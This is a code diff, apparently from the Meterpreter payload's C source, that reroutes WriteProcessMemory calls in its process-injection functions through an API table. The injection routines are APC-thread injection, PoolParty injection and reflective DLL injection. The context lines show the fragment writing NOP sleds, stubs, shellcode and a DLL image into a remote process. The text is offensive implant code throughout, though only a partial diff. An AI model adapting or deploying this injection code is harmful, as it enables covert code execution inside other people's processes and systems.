@@ -217,10 +217,10 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
217217
218218 memset ( lpNopSled , 0x90 , mbi .RegionSize );
219219
220- if ( !WriteProcessMemory ( hProcess , lpRemoteAddress , lpNopSled , mbi .RegionSize , NULL ) )
220+ if ( !met_api -> winapi . kernel32 . WriteProcessMemory ( hProcess , lpRemoteAddress , lpNopSled , mbi .RegionSize , NULL ) )
221221 BREAK_ON_ERROR ( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" )
222222
223- if ( !WriteProcessMemory ( hProcess , ((BYTE * )lpRemoteAddress + mbi .RegionSize - sizeof (bStub )), bStub , sizeof (bStub ), NULL ) )
223+ if ( !met_api -> winapi . kernel32 . WriteProcessMemory ( hProcess , ((BYTE * )lpRemoteAddress + mbi .RegionSize - sizeof (bStub )), bStub , sizeof (bStub ), NULL ) )
224224 BREAK_ON_ERROR ( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" )
225225
226226 free ( lpNopSled );
@@ -258,11 +258,11 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
258258 dprintf ( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X" , ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub , lpRemoteApcContext );
259259
260260 // Write the apc stub to memory...
261- if ( !WriteProcessMemory ( hProcess , lpRemoteApcStub , lpApcStub , dwApcStubLength , NULL ) )
261+ if ( !met_api -> winapi . kernel32 . WriteProcessMemory ( hProcess , lpRemoteApcStub , lpApcStub , dwApcStubLength , NULL ) )
262262 BREAK_ON_ERROR ( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )
263263
264264 // Write the apc context to memory...
265- if ( !WriteProcessMemory ( hProcess , lpRemoteApcContext , (LPCVOID )& ctx , sizeof (APCCONTEXT ), NULL ) )
265+ if ( !met_api -> winapi . kernel32 . WriteProcessMemory ( hProcess , lpRemoteApcContext , (LPCVOID )& ctx , sizeof (APCCONTEXT ), NULL ) )
266266 BREAK_ON_ERROR ( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )
267267
268268 do
@@ -554,11 +554,11 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
554554 BREAK_ON_ERROR ("[INJECT][inject_via_poolparty] VirtualAllocEx failed!" );
555555 }
556556
557- if (!WriteProcessMemory (hProcess , lpPoolPartyStub , lpStub , dwStubSize , NULL )) {
557+ if (!met_api -> winapi . kernel32 . WriteProcessMemory (hProcess , lpPoolPartyStub , lpStub , dwStubSize , NULL )) {
558558 BREAK_ON_ERROR ("[INJECT][inject_via_poolparty] Cannot write custom shellcode!" );
559559 }
560560
561- if (!WriteProcessMemory (hProcess , (BYTE * )lpPoolPartyStub + dwStubSize , & ctx , sizeof (POOLPARTYCONTEXT ), NULL )) {
561+ if (!met_api -> winapi . kernel32 . WriteProcessMemory (hProcess , (BYTE * )lpPoolPartyStub + dwStubSize , & ctx , sizeof (POOLPARTYCONTEXT ), NULL )) {
562562 BREAK_ON_ERROR ("[INJECT][inject_via_poolparty] Cannot write poolparty shellcode prologue!" );
563563 }
564564
@@ -662,7 +662,7 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD
662662 if (!lpRemoteArg )
663663 BREAK_ON_ERROR ("[INJECT] inject_dll. VirtualAllocEx 1 failed" );
664664
665- if (!WriteProcessMemory (hProcess , lpRemoteArg , lpArg , stArgSize , NULL ))
665+ if (!met_api -> winapi . kernel32 . WriteProcessMemory (hProcess , lpRemoteArg , lpArg , stArgSize , NULL ))
666666 BREAK_ON_ERROR ("[INJECT] inject_dll. WriteProcessMemory 1 failed" );
667667 }
668668 else
@@ -678,7 +678,7 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD
678678 BREAK_ON_ERROR ("[INJECT] inject_dll. VirtualAllocEx 2 failed" );
679679
680680 // write the image into the host process...
681- if (!WriteProcessMemory (hProcess , lpRemoteLibraryBuffer , lpDllBuffer , dwDllLength , NULL ))
681+ if (!met_api -> winapi . kernel32 . WriteProcessMemory (hProcess , lpRemoteLibraryBuffer , lpDllBuffer , dwDllLength , NULL ))
682682 BREAK_ON_ERROR ("[INJECT] inject_dll. WriteProcessMemory 2 failed" );
683683
684684 // add the offset to ReflectiveLoader() to the remote library address...
0 commit comments